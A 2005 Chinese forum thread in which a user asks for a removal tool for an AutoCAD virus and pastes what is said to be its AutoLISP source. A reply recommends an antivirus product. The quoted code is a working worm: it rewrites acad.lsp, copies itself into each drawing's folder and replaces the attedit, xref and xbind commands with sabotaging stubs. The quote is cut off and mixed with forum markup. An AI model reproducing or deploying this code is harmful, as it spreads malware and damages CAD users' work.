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cad病毒，求高手提供查杀工具
据说这是该病毒的部分源代码
(defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad
newacad nowdwg lspbj wjm wjm1 wjqm wjqm1 wz ns1 ns2
)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq path (findfile "base.dcl"))
(setq path (substr path 1 (- (strlen path) 8)))
(setq mnlpath (getvar "menuname"))
(setq nowdwg (getvar "dwgname"))
(setq wjqm (findfile nowdwg))
(setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
(setq acadpath (findfile "acad.lsp"))
(setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
(setq ns1 ""
ns2 ""
)
(setq lspbj 0)
(setq wjqm (strcat path "acad.lsp"))
(if (setq wjm (open wjqm "r"))
(progn (while (setq wz (read-line wjm))
(setq ns1 ns2)
(setq ns2 wz)
)
(if (> (strlen ns1) 14)
(if (= (substr ns1 8 7) "acadiso")
(setq lspbj 1)
)
)
(close wjm)
)
)
(if (and (= acadpath dwgpath) (/= acadpath path))
(progn (setq oldacad (findfile "acad.lsp"))
(setq newacad (strcat path "acadiso.lsp"))
(if (= lspbj 0)
(progn (setq wjqm (strcat path "acad.lsp"))
(setq wjm (open wjqm "a"))
(write-line
(strcat "(load" (chr 34) "acadiso" (chr 34) ")")
wjm
)
(write-line "(princ)" wjm)
(close wjm)
)
)
(writeapp)
)
(progn (if (/= nowdwg "Drawing.dwg")
(progn (setq oldacad (findfile "acadiso.lsp"))
(setq newacad (strcat dwgpath "acad.lsp"))
(writeapp)
)
)
)
)
(command "undefine" "attedit")
(command "undefine" "xref")
(command "undefine" "xbind")
(setvar "cmdecho" old_cmd)
(princ)
)
(defun writeapp ()
(if (setq wjm1 (open newacad "w"))
(progn (setq wjm (open oldacad "r"))
(while (setq wz (read-line wjm)) (write-line wz wjm1))
(close wjm)
(close wjm1)
)
)
)
(defun C:attedit (/ p cont old_cmd)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq p (ssget))
(if p
(progn (setq cont (sslength p))
(princ "\nSeltct objects:")
(princ cont)
(princ "found")
(princ "\n")
(princ cont)
(princ " was not able to be attedit")
)
)
(setvar "cmdecho" old_cmd)
(princ)
)
(defun C:xref (/ old_cmd)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(command "insert")
(setvar "cmdecho" old_cmd)
(princ)
)
(defun C:xbind (/ old_cmd)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(command "insert")
(setvar "cmdecho" old_cmd)
(princ)
)
(defun C:Burst (/ p old_cmd)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
[U](princ "\nBURST----将图块中的文字炸开后成为实体")[/U] [U][I] (setq p (ssget)) (setvar "cmdecho" old_cmd)[/I] (princ)
)[/U](princ)
(DEFUN C:BB ()
(princ "select the point to be break")
(COMMAND "BREAK"pause "F" pause "@0,0") (PRINC))
(DEFUN C:BR ()
(princ "select the point to be break")
(COMMAND "BREAK"pause "F") (PRINC))
(defun C:CC (/ ss FL)
(princ "\nSelect objects: ")
(setq ss (ssget))
(setq n (sslength ss))
(command "COPY" ss "" "m" "") (repeat n (command "" copy "" ""))
)
(DEFUN C:DD () (COMMAND "DDATTE") (PRINC))
(DEFUN C:d () (COMMAND "DIST") (PRINC))
(DEFUN C:DT () (COMMAND "DTEXT") (PRINC))
;;;==========================================================================
;;;==========================================================================
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; --------------------- BONUS ERROR HANDLER ----------------------
(defun init_bonus_error ( lst / ss undo_init)
;;;;;;;local function;;;;;;;;;;;;;;;;;;;;
(defun undo_init ( / undo_ctl)
(b_set_sysvars (list "cmdecho" 0))
(setq undo_ctl (getvar "undoctl"))
(if (equal 0 (getvar "UNDOCTL")) ;Make sure undo is fully enabled.
(command "_.undo" "_all")
)
(if (or (not (equal 1 (logand 1 (getvar "UNDOCTL"))))
(equal 2 (logand 2 (getvar "UNDOCTL")))
);or
(command "_.undo" "_control" "_all")
)
;Ensure undo auto is off
(if (equal 4 (logand 4 (getvar "undoctl")))
(command "_.undo" "_Auto" "_off")
这个用瑞星杀毒软件杀就可以,以前我也出现过,后用瑞星杀后就行了 | 
发表于 2005-9-16 19:32:00
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